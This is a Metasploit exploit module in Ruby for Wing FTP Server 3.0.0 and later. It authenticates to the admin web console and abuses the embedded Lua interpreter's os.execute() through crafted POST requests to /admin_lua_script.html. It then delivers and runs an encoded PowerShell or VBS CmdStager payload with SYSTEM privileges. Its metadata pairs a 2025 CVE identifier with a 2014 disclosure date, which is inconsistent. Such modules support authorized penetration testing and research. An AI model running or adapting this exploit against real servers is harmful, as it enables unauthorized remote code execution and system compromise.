##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::CmdStager
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Powershell

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Wing FTP Server Authenticated Command Execution',
        'Description' => %q{
          This module exploits the embedded Lua interpreter in the admin web interface for
          versions 3.0.0 and above. When supplying a specially crafted HTTP POST request
          an attacker can use os.execute() to execute arbitrary system commands on
          the target with SYSTEM privileges.
        },
        'Author' => [
          'Nicholas Nam <nick[at]executionflow.org>',
          'Imran E. Dawoodjee <imrandawoodjee.infosec[at]gmail.com>' # minor improvements
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2025-47812'],
          ['URL', 'http://www.wftpserver.com'],
          ['URL', 'https://www.wftpserver.com/help/ftpserver/index.html?administrator_console.htm']
        ],
        'Arch' => ARCH_X86,
        'Platform' => 'win',
        'Targets' => [
          ['Wing FTP Server >= 3.0.0', {}]
        ],
        'Privileged' => true,
        'DisclosureDate' => '2014-06-19',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        Opt::RPORT(5466),
        OptString.new('USERNAME', [true, 'Admin username', '']),
        OptString.new('PASSWORD', [true, 'Admin password', ''])
      ], self.class
    )
    deregister_options('CMDSTAGER::FLAVOR')
    deregister_options('CMDSTAGER::DECODER')
    deregister_options('URIPATH')
    deregister_options('SRVHOST')
    deregister_options('SRVPORT')
  end

  @session_cookie = ''
  @version = ''
  @psh = false
  @vuln_check = false

  def check
    @session_cookie = authenticate(datastore['USERNAME'], datastore['PASSWORD'])
    if @session_cookie.nil?
      return CheckCode::Unknown
    end

    ver = send_request_cgi(
      'uri' => '/admin_license.html',
      'method' => 'POST',
      'cookie' => @session_cookie,
      'ctype' => 'text/plain;charset=UTF-8'
    )

    unless ver
      vprint_error("Connection failed!")
      return CheckCode::Unknown
    end

    unless ver.code == 200 && ver.body.include?('Wing FTP Server')
      return CheckCode::Safe
    end

    @version = Rex::Version.new(ver.body.scan(/Wing FTP Server ([\d\.]+)/).flatten.first)
    print_status("Found Wing FTP Server #{@version}")

    # Lua capabilities and administrator console were added in version 3.0.0, so everything above that is (probably) vulnerable
    unless @version >= Rex::Version.new('3.0.0')
      @vuln_check = false
      return CheckCode::Safe
    end

    @vuln_check = true
    winenv_path = execute_command("PATH")

    unless winenv_path
      vprint_error("Connection failed!")
      return CheckCode::Unknown
    end

    if winenv_path.code == 200
      winenv_path.body.split(';').each do |path_val|
        if (/powershell/i) =~ path_val
          print_good("Found Powershell at #{path_val}")
          @psh = true
        end
      end
    else
      @psh = false
    end

    @vuln_check = false
    return CheckCode::Vulnerable
  end

  def exploit
    vprint_status("Authenticating...")
    unless [CheckCode::Vulnerable].include? check
      fail_with(Failure::NotVulnerable, 'Target is most likely not vulnerable!')
    end

    if @psh == true
      print_status('Executing payload via PowerShell...')
      psh_command = cmd_psh_payload(payload.encoded, payload_instance.arch.first, encode_final_payload: true)
      execute_command(psh_command)
    else
      if @version > Rex::Version.new('4.3.8')
        fail_with(Failure::NoTarget, "Version #{@version} detected and PowerShell not found, aborting exploit attempt!")
      end
      print_warning("PowerShell not found, will revert to CmdStager for payload delivery!")
      print_status("Sending payload...")
      # Execute the CmdStager, max length of the commands is ~1500
      execute_cmdstager(flavor: :vbs, linemax: 1500)
    end
  end

  def execute_command(cmd, _opts = {})
    # Wrap cmd with [[ ]] to prevent potential problems.
    if @vuln_check == true
      command = "print(os.getenv([[#{cmd}]]))"
    else
      command = "os.execute([[#{cmd}]])"
    end

    res = send_request_cgi(
      'uri' => '/admin_lua_script.html',
      'method' => 'POST',
      'encode_params' => true,
      'cookie' => @session_cookie,
      'ctype' => 'text/plain;charset=UTF-8',
      'vars_post' => { 'command' => command }
    )

    unless res && res.code == 200
      fail_with(Failure::Unknown, "#{peer} - Something went wrong.")
    end

    if @vuln_check
      return res
    end
  end

  def authenticate(username, password)
    res = send_request_cgi(
      'uri' => '/admin_loginok.html',
      'method' => 'POST',
      'vars_post' => {
        'username' => username,
        'password' => password,
        'username_val' => username,
        'password_val' => password,
        'submit_btn' => '+Login+'
      }
    )

    unless res
      print_error("#{peer} - Admin login page was unreachable.")
      return nil
    end

    if res.code == 200 && res.body =~ /location='main.html\?lang=english';/
      res.get_cookies.split(';').each do |cookie|
        cookie.split(',').each do |value|
          if value.split('=')[0] =~ /UIDADMIN/
            vprint_good("Authentication successful, got session cookie #{value.split('=')[1]}")
            return res.get_cookies.split(';')[0]
          end
        end
      end
    end

    print_error("#{peer} - Authentication failed!")
    return nil
  end
end
